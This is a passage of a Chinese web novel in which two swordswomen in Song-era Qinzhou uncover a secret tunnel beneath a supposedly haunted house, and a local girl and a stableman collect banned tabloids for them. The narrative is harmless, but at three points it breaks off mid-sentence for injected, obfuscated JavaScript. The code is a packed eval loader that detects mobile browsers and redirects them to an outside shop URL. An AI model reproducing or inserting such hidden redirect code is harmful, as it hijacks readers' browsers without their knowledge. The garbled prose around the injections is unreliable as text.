她也懒得折回去取，转身朝对门那间空宅走去。 秦州这地方挨着边关，民宅的院墙砌得颇高，却也难不住她。 只见她提了口气，脚下一点，手脚在墙面上借了两下力，人就悄无声息地翻进了院中。 进了院子，她用拇指推开火折铜帽，凑到嘴边轻轻一吹，一簇橘黄的光便在手心里跳了起来。 她举着那点微光四下照看——这院子的格局与她们赁的那间相差无几，都是一进院落，墙角还有个荒废了的马厩，里头堆着些烂草。 推开堂屋门，一股陈年的霉尘气混着阴冷潮气扑面而来，呛得她鼻子发痒。 她揉了揉鼻子，略缓了缓，方才摸进灶房，举高了火折子细看。 灶房里灰蒙蒙的，四下积了厚厚一层尘，显是许久没住过人。 正要转身出去，眼角的余光却瞥见右手边那口贮水的大缸似有异样——缸沿的积灰上，分明印着几个模糊的手印，瞧着还挺新。 她俯身欲细看，外头却传来一丝极轻微的窸窣声。 姜南绍神色微凛，拇指往下一按合上铜盖，脚下已无声无息地朝那声响来处移去。 夜色静得瘆人，那点子动静在她耳中却清清楚楚——是从院角那马厩里传来的。 她目力极佳，不借火光也能辨出昏黑中的物事，凝神往那边一望，只见马厩角落那堆烂草旁，一团黑影正缓缓蠕动。 房秀莼刚从地窖盖板下探出头来，尚未喘匀气息，一截冰凉之物便抵上了颈间。 她心头一紧，险些叫出声来，屏住呼吸顺着那物件看去——夜色里立着个人影，手中握着剑，寒光正对着她脖颈。 姜南绍此时也瞧清了，从地窖口冒出的竟是个小脑袋。 她手腕一翻，改刺为抓，一把将人从地窖里头提了上来。 那孩子被她拽得“啊”了一声，瘦瘦小小的身子轻易便被拎了起来。姜南绍手一松，将她撂在地上。 “别动。”她低声喝住，随即吹亮了火折子。 火光一跳，映出张熟悉的小脸——竟是白日里挨打那丫头房秀莼。火光照得她脸蛋微红，一双眼睛瞪得溜圆，起初绷着脸，一副豁出去的架势。 剑都架脖子上了，看上去倒还一脸镇定。 待她在火光下看清来人是姜南绍，惊喜地叫出声：“姜姐姐？怎的是你？” “嘘，小声些！这话该我问你。”姜南绍收剑入鞘，扶她站稳了，瞥了眼身后那黑洞洞的窖口，“躲在这儿做什么？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527889|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 房秀莼拍了拍身上的土，反倒扯住她袖子，朝地窖指了指：“我没躲，这是我平日藏东西的地方。” 姜南绍探头瞅了瞅，里头黑咕隆咚的什么也瞧不见，却还是皱起眉头：“白日才跟你说过的话，转头就忘了？怎能把藏身的地方随便告诉别人？” 小妮子吐了吐舌头，神情彻底松快下来，拉着她袖子轻轻晃了晃，竟带出几分撒娇的意味：“没有！是姜姐姐我才说的，旁人都不知道，我娘也不知。” 姜南绍不惯跟人这般亲近，板起脸来：“天都黑了，不回家去，你阿娘不担心？” “阿娘身子不舒服，歇得早，我便来看看我的东西还在不在。” “什么东西？” “我攒的银子。”她仰起脸，语气里带上一丝得意，“都是我平日里帮人做些活路攒下的。值钱的物件全藏在这儿，不然早被我那二叔搜刮干净了。” 房秀莼像是打开了话匣子，絮絮叨叨说下去：“姜姐姐，从前我把钱藏在家里，竟叫二叔家那小崽子翻了出来。他打不过我，被我夺回来，揍得他哭得跟个傻子似的！只是我二叔力气大，自打那以后，就不敢再藏家里了。” “此处也未必安稳。”姜南绍环顾这荒落的院子，皱了皱眉，“你一个小姑娘家，少往这等冷僻地方来才是正经。” “我不怕。”秀莼眨了眨眼，反露出几分狡黠，“姜姐姐，旁人都说此处有鬼，这倒更安全，别说是鬼，我连人也没见过。” “你倒还机灵。”姜南绍忽然想起一事，“且慢。大门锁得严实，你是如何进来的？” “自然是有狗洞。”秀莼指向院墙一侧，“大门左边小巷里，有个被枯草遮着的小洞，旁人是不知的。” 姜南绍听罢沉吟——若这宅院当真只有秀莼常来，那灶间水缸上的手印，又是从何而来？ “灶间那口大水缸。”她望着秀莼，“你可曾碰过？” 秀莼摇首：“我只进地窖，别处从不去的。” “人人都说此处闹鬼，你一个小姑娘，怎的反倒不怕？” “有时地下确有些响动，可我自幼在山边长大，只当是山神在地底翻身说话，有甚么可怕的。”秀莼微微撇嘴，声音低了下去，“人比鬼，可要可怕得多。我只想多攒些银两，带我阿娘和小妹离开这里。” 她抬眸时，火光下只见她眼睫已沾了一层薄薄水汽：“只是我最怕阿娘不肯走……她总放不下我阿爹。我实在不明白，阿爹有甚么值得她牵挂？他从未真心待过我们母女。旁人都道他老实本分，我却偏偏瞧他不起，他从未为我娘儿两个打算过半分。” 她咬了咬唇：“姜姐姐，人人都说我小小年纪，心硬如铁，连我阿娘也这般说。你说，我是不是错了？” 姜南绍沉默着。白日里在街坊间零碎听来的房家旧事，此刻清晰起来。 人人都道房大郎老实，可这份“老实”底下，分明是懦弱，是逃避。 本该大房继承的那几亩薄田，他嫌耕种琐碎辛苦，竟拱手悉数让于二房，只换回一句“往后吃食由二房担着”的空口白话。谁知二房得了田产，脸一翻就不认人。打那以后，大房一家饥一顿饱一顿，连秀莼她娘也被逼着下田做活，还要包揽二房的家务。更可恨的是，那二房对秀莼这孩子，非打即骂，全不当人。 好好一家四口，活成了二房的牛马，日子越过越艰难。而那位房大郎，除了对着妻女抹泪叹气、怨天尤人，竟拿不出半点儿主张来。 “心硬？”姜南绍轻轻笑了一声，“你不过是想护着你娘和妹妹，这算什么心硬。那些只顾自个儿舒坦、不理旁人死活的东西，才叫心硬。” 17. 密道 房秀莼耷拉着脑袋，一副垂头丧气的模样，眼眶里的泪水滚了又滚。 姜南绍见了，有些心软，难得耐着性子劝道：“这自然不是你的错。依我看，是你阿爹的不是。大丈夫立于天地间，好歹该为妻儿撑起一片天。若整日只会怨天尤人，毫无担当，那便是心性软弱之人，不值得你阿娘托付终身。你阿娘终有一天会明白过来的。” “正是这个意思！”秀莼激动起来，拉着姜南绍的胳膊轻轻晃了晃，“我就说不出像姐姐这般透彻的道理。姜姐姐，你真厉害！” 姜南绍尴尬地咳了两声：“你还小，往后经历得多了，自然都会懂的。” 她忽地想起一事，神色认真起来：“秀莼，先前听你说你常给人做小工。我这边有些事想请你帮个忙，付你酬劳。” 秀莼连忙摆手：“姜姐姐可别这么说！你有事同我讲便是，我哪能收你的钱。” 火光下，姜南绍的脸一沉：“我有我行事的原则，向来不拖不欠，这关系方能走得长久。” “好！”秀莼点头，眼睛弯了起来，“姜姐姐有事尽管问！” “这事倒也不难。”姜南绍道，“你可知这秦州城里，什么地方能弄到小报？” 秀莼眨了眨眼，略一思索：“姐姐说的……可是朝廷禁的那种‘伪报’？” “正是。”姜南绍心中微微一动——这小丫头混迹市井，果然消息灵通，连这等隐晦称呼都晓得。也不知该赞她机灵，还是叹她懂事太早，便顺口道：“秀莼，等你到了柳牙婆那般年纪，只怕比她还要精明几分。” 秀莼听了，小脸一扬，掩不住得意：“那是自然！”可转念又摇了摇头，“当牙婆有什么意思？我想做姜姐姐这样的人。” 姜南绍轻轻摇头：“眼见未必为实，你总要吃过几回亏，方能真正明白人心险恶。” “我分得清善恶好歹。”秀莼不服气地抿了抿嘴，“姜姐姐莫要小瞧人。” “好。”姜南绍顺着她的话道，“那就请小牙婆指点一二，何处能寻得小报？” 秀莼想了想：“小报有几处都能寻来，但若论消息又快又新的，还得数官驿最佳。” “那就劳你替我寻些来，新的旧的都要。” “包在我身上！”秀莼拍了拍胸脯，“姐姐是生面孔，那些人未必敢卖与你。我识得驿站里管牲口的槽头，寻他保管成。” “也好。”姜南绍从怀中摸出几钱碎银递过去，“这些你先拿着。身上银钱多了不牢靠，若不够，便到对门寻我，我就住在对面院子里。”顿了顿，又道，“此事办成，另赏你十两银子。” 秀莼哪里听过这么多钱，连连摆手：“十两忒多了！哪里用得着这许多……” “也不白拿。”姜南绍语气不容置疑，“往后还有用得着你的地方。” 房秀莼只得点头：“既如此，我都听姜姐姐的。” 姜南绍不愿继续说这些，转而问道：“你既常在城中走动，可知哪处酒肆人最杂，三教九流汇聚，消息最是灵通？” 秀莼想了想，答道：“西关城的扈家酒肆。那里不拘甚么人都有，往来繁杂，虽不如大酒楼清雅，却各色传言都能听见。”顿了顿，又补道，“还有永宁寨的马市，南来北往的人货都在那里聚散，也是个听消息的好去处。” 马市。 姜南绍心中一动，自己怎么没有想到——明日不如寻柳五娘去买马，正好顺路探上一探。 姜南绍面上不动声色，只淡淡夸她一句：“小牙婆倒是个消息灵通的。” 秀莼听她这一夸，脸上也不由生出几分欢喜来。 “秀莼，你可晓得这闹鬼的传言，是从哪开头儿的？” 房秀莼眉头渐渐蹙了起来：“姜姐姐，说起来，这传言正是从你赁下的那座宅子起的！那宅子本好端端的，谁知半年前住进一户贩线香的生意人，哪成想不知从哪一日开始，就连个人影也没了。” 姜南绍没答话，只静静听着。 “房主只当那家人是不告而别，回了原籍，也不曾往深里想。可后来再搬进去的人家，没一户能安安稳稳捱过一夜的，夜里总不得安宁。连带着旁边那几间屋子，也渐渐生出闹鬼的风声来。私底下有人猜，那一家人怕不是搬走了，倒像是遭了人暗害……房主请了好几回道士来作法，烧纸念经，全不顶用。这几处宅子，便渐渐荒了。” 秀莼说着，眼睛在火折子的微光里亮晶晶的，满是佩服：“还是姜姐姐有本事！你没来之前，赁在这儿的那些外乡人，没一个能熬过头一夜的。本地人都晓得那里不干净，只是那柳牙婆专吃这碗饭，专拣那些不知情的外乡人下手。” 她又压低声音道：“这会儿我倒是想起一件事来，当时没往心里去，如今再琢磨，觉着有些不对劲。” “哦？说来听听。” “约莫两个月前，有一回我亲眼见着那贩香的生意人——他竟进了胡记铁铺。那阵子我正在替柳牙婆跑腿，她待我刻薄，我便存了心眼，没同任何人提过这茬。再说那时候也不觉得有甚古怪，如今回想起来……倒真有几分蹊跷，只是说不清是哪里不对。” 姜南绍静静听完，面上看不出什么喜怒，只点了点头：“这事我记下了。你做得妥当，往后也别同旁人提起，我自有分寸。” 顿了顿，她又问：“对了，你方才说的那‘地响’，究竟是怎样的动静？” 秀莼想了想，拿手比划着说：“那声音……沉沉的，闷闷的，像是从极深极深的地底下钻上来的，有时候又夹着一点尖细的响动。听着真切时，仿佛就在脚底下；有时候又飘飘忽忽的，像隔了老远。我阿娘总说，那是山神爷在地底下翻身、喘气。不过说来也怪，那地响了二十来日便渐渐没了，这半年来再没听见。” 姜南绍闻言，眉头微蹙，略一沉吟，神色如常道：“好，这些消息于我大有用处。你平日若再觉着什么不对，都替我留意着。” “好！”房秀莼脆生生应了，爬起身来拍了拍土，又回头望了姜南绍一眼，“姜姐姐，你当真会在这儿住下去么？” “一时半会儿走不了。”姜南绍拍了拍她的肩，“你赶紧回去，夜深了，莫一个人在外头晃荡。记着，若遇上危险，便来隔壁院子敲门。” “那太好了！”秀莼咧嘴一笑，“那我便回去了。”她猫着腰绕过马厩，走出几步又回头朝姜南绍挥了挥手。那小小的身影行至墙根处，蹲下身钻进一个小洞里，便不见了踪影。 姜南绍执着火折子，又折身回了灶房，将火折子凑到缸沿，细细端详那几个手印。 她将自己的手掌覆上去比了比——那手印比她的宽大许多，指节分明，分明是个成年男子的手印。 她试着向上提了提那口水缸，缸身纹丝不动。目光落在那几道深深嵌进灰里的指印上，心里微微一动。双手重新按准了位置，指腹抵着凹痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527890|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，深吸一口气，猛地朝一侧发力一拧——只听极轻的“喀”一声，缸身竟微微转了一转。 她再拧，却不动了。略一沉吟，改向上提。 这回，那口沉甸甸的大水缸竟被她稳稳端了起来。她小心挪到一旁，缸底下果然露出个黑黝黝的洞口，大小刚够一人通过。 她举着火折子朝里面照了照，那洞深不见底，想必不浅。她没有下去查看，随即将水缸照原样挪回去，严严实实地盖住了洞口。 她又去了另外一间空宅查看了一番，情形与方才那间却不同，整个宅子里没有蹊跷。 看来那些藏在暗处的人，重点盯着的还是她们住的院子，这几间空宅不过是旁支辅助。 姜南绍回到宅院时，周至语正坐在堂屋的矮凳上，就着那截绿荧荧的烛光在擦拭长剑。 见她进来，周至语将剑身收入剑鞘，抬起头来：“可有什么发现？” 姜南绍端起桌上的水猛灌了一口，抹了抹嘴角：“有。灶间有暗道。” 周至语嘿了一声，倒不觉得意外：“你走后我也没闲着，把这屋里屋外都翻了一遍，也瞧见那暗道了。” “可是在灶房？” “正是。我没下去，想着等你回来再说。” “走，我们一道去瞧瞧。” 两人都罩上面衣，收拾了几样家伙，往灶房去。 灶房里那口大缸已被周至语挪到一旁，露出个黑洞洞的窟窿，瞧得人心里直发毛。 姜南绍探身往下一看，一股冷风从底下涌上来，带着泥腥子和霉湿气。 “洞不浅，小心些。” 周至语“嗯”了一声，把飞爪递过来。姜南绍接过手，那五只精铁打的爪趾沉甸甸的，尾端系着七尺麻绳，绳尾挽了个结实的套环。 她抬头扫了一眼灶房的横梁，右手一抬，铁爪嗖地飞上去，爪趾在半空一张，稳稳扣住梁木，只听得极轻的“咔”一声。 她拽了两下，纹丝不动。 “行了！”她转头看周至语一眼，“你先在上头守着，我先下去，瞧明白了再说。” 周至语应了一声，把火折子递到她手里。 姜南绍将绳索在掌心缠了几道，双脚探入那黑漆漆的洞口，腰腿用力蹬住两侧土壁。她缓缓松绳，片刻间，整个人便没入了地下的黑暗之中。 那洞应是极深，底下半晌没有动静。周至语有些着急，趴在洞口喊道：“如何了？” 不多时，底下传来闷闷的一声：“下来罢。” 周至语落到洞底，火折子的橘黄光亮中，只见姜南绍正站在地道里。那地道不宽，仅容一人立身。 两侧土壁上密密地插着木桩和横板，撑住头顶的土层，湿漉漉的，像是刚挖成不久。 “跟上我。”姜南绍举着火折子朝前走了两步，刚迈出几步便停了下来。 火光映出一面用木板、粗布和湿泥临时封住的“墙”。 “泥是新糊的，还湿着。”姜南绍凑近了细看。 “临时封上的。”她压低声道，指了指木板边缘，“你瞧这些凿痕，都是新的，不出三五日。木板从咱们这一侧顶住，说明对面已经挖通了，有人从那边先封住了洞口，做了伪装。” “那咱们现下怎么办？” 火折子的光在土壁上晃动着，将两人的身影拉得忽长忽短。 姜南绍直起身，低声吐出两个字：“回去。” 18. 暗流涌动 两人从洞底翻将上来，只觉呼吸都畅快了几分。 灶房地面上，很快印出两只湿漉漉的泥脚印。 两人都有些狼狈——裤脚湿透，紧紧裹在小腿上，每走一步便往外渗泥浆。脸上更不必提，半张脸糊着泥印子，湿发贴在额前，活脱脱两只从阴沟里爬出来的水鬼。 一个低头拿帕子擦衣裳上的水，一个用手抹脸上的泥。 周至语终于不耐烦地将那帕子丢开——已然乌黑一片，拧一把便能挤出泥水来。 她低头看看自己，又瞅了瞅姜南绍，满脸嫌弃：“咱俩如今真像两只刚从阴沟里窜上来的水耗子。” 姜南绍抬了抬眼，眼皮上黏糊糊的，胡乱扒拉了两下。 “擦不净，去后院打水。”她说，语气仍是不紧不慢的调子。 等收拾停当，两人都累得眼皮子打架。 周至语也是一脸倦色。 姜南绍坐在凳子上打了个哈欠，随手拨弄着桌上的桃木剑，懒懒问道：“这事，你怎么看？” 未等周至语开口，她又道：“依我看，定与那西夏脱不了干系。昨夜那手法，跟西夏盐泽巫的路数对得上。他们怕旁人住进这几间屋子，想方设法装神弄鬼赶人走，想必这地方必是桩要紧的掩护。可依今夜咱们察看的情形，怕还不止掩护这么简单。” 周至语点了点头：“有密道，无非是藏人、藏物，或是两样皆有。但放在他们身上，怕还不止如此，只是猜不透究竟图谋些什么。” “眼下还不好说，得多探些消息佐证，方能揣度。”姜南绍说完后垂下眼帘，将这些日子的事在心里细细过了一遍：从客栈里救下那吐蕃熟户丁温延，得了一张假布防图，到昨夜那番诡异的蟾袭，再到方才水缸底下那条密道……桩桩件件，看着毫不相干，却又像有根线隐隐牵着。丁温延让她到匠巷来候着，为何偏偏是匠巷？秦州城偌大，哪里不好落脚？ 这些事与她们此行的明面差事似乎并无牵连，可暗里头的勾连，却叫她不得不防。 “这些还都是咱们能想到的明面上的，后头怕不止如此。” “怎么说？” 她抬眼望向周至语，烛火在两人之间幽幽跳动：“师姐，你不觉得蹊跷么？挖地道这事，或许百姓中有人察觉，只当是地响，况且这地方闹鬼早已传得人尽皆知，倒也罢了。可若是挖了几个月，知州府那边却浑然不知，你不觉着奇怪？” 她冷笑一声：“各州府都设有监作，置有蒙皮的陶瓮，埋在‘地听’井中专司监听。听瓮数月失灵至此，简直离谱至极。” 周至语听得冷汗涔涔——她怎么没想到这一层。 “那咱们可要报官？” “不。”姜南绍沉吟片刻，“以我们来秦州之事为重，不可节外生枝，暂缓一步，查清楚了再说。” 其实姜南绍担心的并非此事。她有更深的顾虑——她直觉自己像是陷进了一个局里，一个有人早早布好的局。她不知对方是何用意，未查清之前，不能轻举妄动。 她默了片刻，又问周至语：“你今日去云来先生那儿，他可曾说起这几个月汴京或者别处——包括秦州——有什么异动？或是旁的消息？” 周至语摇了摇头：“没有。云来先生只说，汪平程大约还有七八日脚程便要到了，别的也没多说什么。”她抬眼看姜南绍，见她低头不语，觉出对方有事瞒着自己，“到底怎么了？你莫不是有事瞒着我，一个人闷着头瞎琢磨？” 姜南绍知道她这脾气怕是要上来了，却什么也不想说。横竖她不知道的事也不止这一桩，知道太多，对她没好处。 见她不搭腔，气氛便冷了下来。周至语见她又是这副死样子，脸色一沉，冷笑道：“也罢，算我多事。你只记着，别糟蹋你这条命——你的命可不是你的。” 姜南绍眼睫低垂，轻描淡写道：“师姐大可放宽心，我心头有数。这几日你也小心些，那些人没吓走咱们，必不肯善罢甘休。” 周至语脸色铁青，狠狠瞪了她一眼：“用不着你假好心！” 说罢，她腾地站起身，木凳擦着地面发出一声刺耳的响动，接着头也不回地拂袖而去。 姜南绍揉了揉额角，转念一想，这样也好。 说自己不近人情也好，只是有些人情债，不背反倒自在些。彼此轻省，大家都好舒口气。 离开河南府快两个月了，许多消息早隔了山山水水。来秦州这几日，桩桩件件都透着蹊跷，像一张网正慢慢收紧。她素来习惯把什么都捏在手心里，这会儿却觉着脚下虚浮，跟踩在薄冰上似的。要启动阵法回去是自个儿的事，旁的，就不便拖累旁人了。 云来先生那儿没什么消息……是真没有，还是不愿让她知道？有些事，人家想让你知道时自然会递过来；不想让你知道的，就只能自个儿一寸一寸去挖。 烛火幽幽的，屋里静得能听见蜡油滴落的声响。 姜南绍独自坐在桌边，指尖无意识地摩挲着怀里的那柄梳篦。 她轻轻吐了口气。 远处隐隐传来打更的梆子声，一声一声，她慢慢沉静下来。 这秦州城面上看着平静，底下实则暗流翻涌。羌寇、密道、失踪的香贩、那诡异的“地响”……还有那张假的布防图。这些事儿瞧着不相干，可又都隐隐指向某个瞧不真切的暗处。 直觉告诉她，这些碎片后头藏着个更大的阴谋。只是眼下线头太少，跟散了满地的珠子似的，还缺根绳儿把它们串起来。 她觉着自己今日绷得太紧了，这样容易误事，也影响判断。 于是捏了捏耳垂，试图让自己清醒几分。 可身子乏是真乏，脑子里装的事太多，一丁点睡意也无。 既睡不着，便索性干点正事。 她从怀里摸出白日里买的那张秦州城地图，在桌上摊开，凑着那点儿绿幽幽的烛火细看。 地图画得粗疏，好在山川城郭的大致方位还算清楚。 秦州城分内外两城，一条河穿城而过。 她住的匠巷在中城，图上虽不见那院子的确切位置，但匠巷紧挨着中城门，后头傍着一条河。 她盯着那处看了许久，心里蓦地一紧。 呆坐半晌，起身时腿都发麻了。她关了窗，伏身吹熄蜡烛，将自己融进一片漆黑之中。 这是她想事情的老规矩——让眼睛慢慢适应黑暗，神思反倒比灯下更清明。 不急。她想。 既然有人不想让她安生，那就等着。等他们再伸手的时候，便能看清那只手究竟是从哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527891|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿伸出来的了。 天还没亮透，陈槽头便醒了。干了半辈子槽头的营生，身子骨早养出了自己的记性——每日寅时三刻，眼皮子准时就睁开来。 他伸手往旁边一摸，被窝里空落落的。老妻素来起得比他早，灶房那头窸窸窣窣的，想是在忙活早饭了。 他披了件旧袄起身，趿着鞋走到灶间。 灶膛里的火苗子烧得正旺，把小屋烘得暖融融的。五岁的小孙子阿晋蹲在灶前，两只小手攥着火钳，正小心地拨弄着柴火，一张小脸被火光映得红扑扑的，额上沁着细密的汗珠。 陈槽头看在眼里，心头便是一酸。三年前儿子戍边战死，没过多久儿媳也病故了，只剩下这么个独苗。两个老骨头拖着个娃娃，日子过得紧巴巴。穷人家的孩儿，打小便懂事。 “阿公，”阿晋奶声奶气地喊，“米粥煮得了。” 他走过去，伸手摸了摸孙子细软的头发，心里软得一塌糊涂：“阿晋真乖。” “阿公，”小家伙眼睛亮晶晶地仰起头，“驿站里可来了新的大马？阿晋想去瞧瞧。” 陈槽头正在检查系在腰间的旧皮囊，里头装着惯使的家什：蹄刀、药粉、蹄钩、锉刀，还有几块给马备着的饴糖，以及几张记事的油纸炭笔。 他抬头看着孙子那满脸期待的小模样，硬起心肠道：“昨日叫你背的书，可背熟了？如今不似从前了，你大了，不能光顾着玩，心思要多放在功课上。” 阿晋的小嘴立时撅得老高。 陈槽头到底心软，叹口气道：“你在家好生背书。午后若是得了闲，阿公便来接你到驿站看马。若是背不出……”他顿了顿，“便哪里都别去，就在家好生温书。” “我能背出来！”阿晋挺起小胸脯，一脸正色，“阿公可要说话算话，来接阿晋。” “好好。”陈槽头点点头，“要听婆婆的话。” “我背完书就帮婆婆做事。”阿晋用力点头，“阿公放心。” 用过早饭，陈槽头接过老妻备好的干粮和竹筒水壶，又往灶间里望了一眼，见那小人儿已经趴在桌边翻开了书，这才抬脚出了家门。 晨风里带着股子寒气，冻得人直缩脖领子。 通往驿站的青石板路被夜露打得湿漉漉的。陈槽头低着头，一步一步走得分外小心——年纪大了，自当留意脚下，若是踩到那滑溜溜的青苔上摔个跟头，一家子的生计都得遭殃。 他将那件旧棉袄又裹紧了些，缩着脖子，朝官驿方向走去。 秦州官驿就在西城，离家不过一里路。没走多久，便望见了那高耸的土夯围墙。 角门那儿当值的驿卒张头探出半个身子，一见他来，连忙招手，凑过来压低嗓门道：“老陈，昨夜来了两位官爷，怕是来头不小。” 张头咂了咂嘴，一脸神秘兮兮：“我偷偷瞄了眼告身，品级倒不高，可那位大人骑的那匹马——啧啧，昨夜当值的刘槽头说，是极难得的西域良驹！那蹄铁都是鎏金打的，晃得人眼晕！那位官爷瞧着也气度不凡，不像是寻常人物。” 他撇了撇嘴，接着道：“曹驿丞那人精，一听刘槽头报信，立马屁颠屁颠赶过来亲自伺候了。那位贵人瞧着脾气不大好，你可仔细着些——那马金贵得很，千万别出什么岔子。” 19. 秦州官驿 陈槽头闻言一怔，忙拱手道：“多谢张头提点，我定会当心些。”又伸手拍了拍腰间皮囊，笑道：“带了点酒，午间得空，寻你喝两盅。” 张头脸上立时堆满了笑，连声应道：“好嘞！但不能多饮，正当差呢！” “暖暖身子就成，可不敢耽误正事。”陈槽头嘴里应着，脚下却不由自主地快了几分。 在官驿做了二十几年槽头，稀奇事见过不少，可这鎏金的蹄铁当真头一遭听说。他这等小民，哪敢有半点儿怠慢？ 厩舍在院子左侧。推开门，里头十来匹马齐刷刷扭过头来，目光随着他转动。 值了一宿的刘槽头满脸倦色，见他来了，眼睛一亮：“老陈，你可算来了！累了大半宿，这里便交予你，我这便回家歇着去。”说着朝马厩尽头努努嘴，“新来了四匹马，最里头那匹得格外上心，昨夜我都是喂的精料。” 陈槽头会意点头，也不多言，便从东头挨个查验。 这是他多年老规矩：先看马眼，须清亮有神，方算歇好了的；再伸手探脖颈，摸汗渍干透与否；最后托起蹄子，细瞧那蹄铁松没松，蹄缝里卡没卡石子。 他这人做事素来细致，心里也当真爱惜这些牲口。 待查到后头几个槽位时，目光便被一匹白马牢牢攫住了——想来正是张头嘴里说的那匹西域良驹。 这马生得实在好：额头宽宽的，鼻梁直直的，鼻孔张得老大，脖颈修长得跟仙鹤似的，四条腿立在那儿如同柱子一般，通身皮毛油光水滑，当真是极难见的良驹。 只是这马歇了一宿，精神头却还带着几分倦怠。 陈槽头不敢怠慢，将手掌轻轻贴上马颈侧，默数着脉搏——过了八息，果然是乏了。 他转身从料袋里取出些熟地黄、黄芪、甘草的细末，匀进精料里头，又往槽边地上多铺了层干草，好让这马站卧时能暖和一些、软和一些。 收拾停当，他才俯下身去托那白马的左前蹄。蹄铁触手冰凉梆硬，那鎏金的纹路在昏暗的厩舍里仍泛着淡淡的、跟寻常铁器不一样的光泽。 他指腹顺着蹄缘缓缓抚过，饶是这辈子见过不少好马，也忍不住在心里啧啧称奇，可知这样的马的主人也必是个人物，心里头暗暗嘀咕，这贵人的马，若在自己手里出了差池，怕是把全家的命搭上也赔不起。 手上愈发不敢大意，生怕一个不慎，惹出什么祸事来。 不觉已至巳时。陈槽头正蹲在那儿给一匹蹄温偏高的马做泥敷，忽听得一个脆生生的声音喊他：“老陈！” 一听这嗓门，便知是房家那丫头。 陈槽头没抬头，手里继续拌着那团泥料，嘴里问道：“今儿怎么得闲来了？” 房秀莼已趴到马厩的木格子上，探着个脑袋，瞧他做事瞧得极认真：“老陈，这马可比人会享福呢。” “马能日行千里，人能么？” 小姑娘笑了笑。陈槽头又问：“今儿来，有事罢？” “等你忙完手头的活再说。” “神神秘秘的。”他终于抬起眼皮斜了她一眼，“可别是惹了什么祸事。” “哪能呢，是好事。”小姑娘笑得眉眼弯弯。 等陈槽头忙完手头的活计，洗了手，在青灰短袄上揩了揩，才道：“说罢，什么事？” 房秀莼左右瞧瞧没人，朝他招招手，压低声音：“老陈，附耳过来。” 陈槽头把耳朵凑过去，听她叽叽咕咕说了几句，眉头便皱了起来，低声道：“你要小报做甚？先说好，你挣钱归挣钱，可别招惹那些不该惹的人。” 房秀莼拽着他胳膊晃了晃：“我办事您还不放心？绝对是信得过的主顾，使银子也大方。” 她从不跟老陈扯谎，举起手比了个数：“先付了这些，事成还有。” 陈槽头眼皮跳了跳，眉头拧得更紧。 房秀莼连忙解释：“不过是些过了时的小报，能惹什么事？您不也缺银子么？陈婶抓药看病，阿晋要念书，哪样不花钱？我还能害您不成？” 老陈沉默了片刻。想起近日飞涨的盐价，想起老妻夜里压着的咳嗽声，想起没了爹娘的孙子阿晋那过早懂事的模样，终究叹了口气，转身进了草料库。 不多时，他抱着两个鼓鼓囊囊的毛毡袋出来，往地上一撂：“自己翻罢。这袋是近些日子的，那袋是早前没卖完的旧报，看看能不能用上。” 房秀莼一瞧那两大袋，顿时觉得有些棘手，收拾起来可得费不少工夫。正琢磨着，外头有人高声喊：“老陈！换马，急递！” “你去草料库里慢慢理，”陈槽头压低声音叮嘱了一句，“虽说驿里私下卖小报不算稀罕，也得避着些人眼。”说罢，匆匆朝外头去了。 房秀莼把那两个毛毡袋拖进草料库里，对着那一大堆小报犯了难——她不识字，可怎么生是好？ 她猛地想起一个人来——阿持！ 阿持是个小叫花子，年岁跟她差不离。因着识得几个字，从前柳牙婆常叫他帮着跑跑腿、抄抄契书什么的，两人一来二去便熟络了。 她曾好奇地问过阿持：“你这讨饭的，怎么还能识字？”阿持只摇头，说从前的事记不大清了。想来也是好人家出身的孩子，遭了难才落到这步田地。两人投缘，阿持得闲时便教她认几个字。如今她虽识得不多，却也比寻常人家的孩子强些。 她打定主意，便往茶寮街去寻他。 茶寮街那帮乞丐里头，杨团头是个厚道人，从不打骂底下的小叫花子，平时对她也颇多照拂。 听她说了来意，杨团头当下便点了头，同意让阿持跟她去帮忙，临走还塞给他俩一个麦饼，嘱咐阿持安心把事做好。 两人回到草料库里，蹲在一地纸堆里忙活起来。 阿持做事极有条理，先教秀莼认那小报上的年月日期——这些简单的字她大多认得，便依着次序一份份叠好、码齐。 有阿持指点着，没费多大工夫便理出了七八成。阿持又细心地发现，这些小报还分秦州本地印的与京城传来的，便又耐着性子指导她分开归置。 秀莼看着他做事极有章法，眼里不由得露出几分钦佩，又替他惋惜起来：“阿持，你这般能干，难不成……要一辈子跟着杨团头讨生活？” 阿持不好意思地笑了笑，拿袖子擦了擦鼻尖：“我又没个家，不跟着杨团头跟着谁？他待我好，便是我家人了。” 两人费了些工夫归置好那堆小报，累得够呛。秀莼嚷着说累了，索性往草料上一倒，躺了下来。 